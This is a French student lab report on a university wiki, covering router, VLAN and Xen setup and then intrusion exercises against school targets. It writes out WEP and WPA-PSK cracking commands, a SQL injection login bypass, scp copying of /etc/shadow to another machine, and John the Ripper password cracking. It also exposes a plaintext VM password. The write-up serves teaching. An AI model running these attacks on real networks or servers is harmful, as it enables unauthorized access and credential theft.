TP sysres IMA5sc 2020/2021 G1 : Différence entre versions

De Wiki d'activités IMA
(Tests d’intrusion)
(Intrusion web=)
Ligne 340 : Ligne 340 :
 
Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.
 
Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.
  
==Intrusion web===
+
==Intrusion sur un serveur d’application Web==
#1 Injection SQL
+
===Injection SQL===
 
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
 
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
 
  ' OR 1 = 1 --
 
  ' OR 1 = 1 --
 
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''
 
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''
  
#2 Base de donnée
+
===Base de donnée===
 
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
 
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
 
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.
 
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.
Ligne 352 : Ligne 352 :
 
Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')
 
Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')
  
#3 connexion au serveur
+
===connexion au serveur===
 
On peut verifier que le serveur est bien accéssible a distance avec:
 
On peut verifier que le serveur est bien accéssible a distance avec:
 
  nmap -6 honey.plil.info
 
  nmap -6 honey.plil.info
Ligne 363 : Ligne 363 :
 
  scp /etc/shadow pifou@zabethXX:~/intrusion/shadow
 
  scp /etc/shadow pifou@zabethXX:~/intrusion/shadow
  
plainpassword
 
  
#3 Cassage du mot de passe root
+
===Cassage du mot de passe root===
 
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper''' qui permette de casser les mot de passes
 
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper''' qui permette de casser les mot de passes
 
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
 
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.

Version du 4 novembre 2020 à 18:09

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales


Groupe Domaine Distribution VLAN privé IP (VLAN333) Netmask (VLAN333) Gateway (VLAN333) Gateway 6509-E (VLAN333) Gateway 9200 (VLAN333) IP (publique)
Groupe 1 trompettedelamort.site Debian 10 Buster 301 100.64.0.28 255.255.255.0 100.64.0.254 100.64.0.1 100.64.0.2 193.48.57.188


Architecture réseau

Infrastructure physique

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

Création des VLANs

On créer deux VLAN:

  • VLAN131 pour se connecter au routeur de l'école
  • VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

Interconnexion avec Internet (IPv4)

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :

  • 1 adresse pour le réseau
  • 1 adresse de Broadcast
  • 1 adresse pour le routeur 1 (6509-E)
  • 1 adresse pour le routeur 2 (9200)
  • 1 adresse flottante pour les routeurs (redondance)

Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28 Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

OSPF

L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

6509-E

ip route 193.48.57.176 255.255.255.0 null0   #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur
router ospf 1                                          # un numéro de processus                                                                                                         
 router-id 10.60.0.101                                 # un id pour le routeur (plus petite adresse disponible)
 log-adjacency-changes                                                                                  
 summary-address 193.48.57.176 255.255.255.240         # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)                                                                                                            
 summary-address 100.60.0.0 255.240.0.0 not-advertise  # address q'on veut pas diffuser (celle du reseau privé)
 summary-address 10.0.0.0 255.0.0.0 not-advertise      # address q'on veut pas diffuser (?)                                                                                                             
 redistribute connected subnets                        # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés   
 redistribute static subnets                                                                                                                        
 network 192.168.222.8 0.0.0.7 area 2                  # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école

ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)

show ip route

9200 On fait la meme chose en changeant le router-id : 10.60.0.102

NAT

On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)

ip nat inside source static network 100.64.0.16 193.48.57.176 /28

Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188 Il faut ensuite indiquer ques sont les VLAN concernés par la translation:

int vlan 131
 ip nat outside
 exit
int  vlan 333
 ip nat inside
 exit


Problème association OSPF et NAT

Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT). La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :

boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:

router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

Sécurisation du réseau

En partenariat avec le groupe 14. Attention la syntaxe est différente entre le 9200 et le 6509-E On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301. 6509-E

conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

9200

conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt 
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt 
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

Interconnexion avec Internet (IPv6)

Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

  • sur 6509-E
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale
  • sur 6509-E
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

Installation de la machine virtuelle

Création de la machine virtuelle

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster
  • Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

    • On réquisitionne les deux disques de 2,7To que l'on met dans un groupe
pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf
    • On créer 2 partitions de 10Go pour chaque binôme:
lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...


    • On formate nos partitions:
mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2


  • Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']

et on indique quel disque utiliser:

disk       = [
              'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
              'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
              'phy:/dev/storage/trompettedelamort1,xvda3,w',
              'phy:/dev/storage/trompettedelamort2,xvda4,w'
            ]
  • Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

  • Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:

umount /mnt/xvda3
umount /mnt/xvda4
  • Modification du fichier /etc/fstab pour monter les répertoires var et home sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:

mount -a

Services Internet

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:

# The loopback network interface
  auto lo
  iface lo inet loopback
# The primary network interface
  auto eth0
  iface eth0 inet static
  address 193.48.57.188
  netmask 255.255.255.255
  up ip address add dev eth0 100.64.0.28/24
  up ip route add default via 100.64.0.2 src 193.48.57.188
  down ip address del dev eth0 100.64.0.28/24
  down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:

ssh pifou@zabet09.plil.info

Et ensuite via minicom:

minicom -os /dev/ttyACM0

On rentre la commande suivante (apres avoir fait enable et conf t au préalable):

ip route 193.48.57.188 255.255.255.255 100.64.0.28 

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

Serveur SSH

...

Serveur DNS

...

Tests d’intrusion

Cassage de clef WEP d’un point d’accès WiFi

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :

iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:

airodump-ng nomDeMaCarte

Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:

aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte

-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:

airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte

-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:

aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte

-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:

aircrack-ng -b MACPA output*.cap

Cassage de mot de passe WPA-PSK par force brute

On commence par mettre l'interface WiFi en mode monitor:

airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:

airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:

airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:

aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale. Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:

crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

Intrusion sur un serveur d’application Web

Injection SQL

On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs Identifiant et Mot de passe avec la valeure:

' OR 1 = 1 --

Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil admin

Base de donnée

En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier config-db.php (dans l'onglet Recherche d'un manuel). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: users dans la base test, puisqu'elle contient les identifiant de connexion (rex)

connexion au serveur

On peut verifier que le serveur est bien accéssible a distance avec:

nmap -6 honey.plil.info

qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:

scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow


Cassage du mot de passe root

Pour la suite, nous utilisons les commandes de l'utilitaire John the Ripper qui permette de casser les mot de passes La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.

unshadow ./passwd ./shadow | grep root > pass

On enregistre la clé de l'utilisateur root dans un fichier pass.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.

crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/\(.*\)/\1\1/' dico

puis on lance le cassage:

/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:

/usr/sbin/john --show pass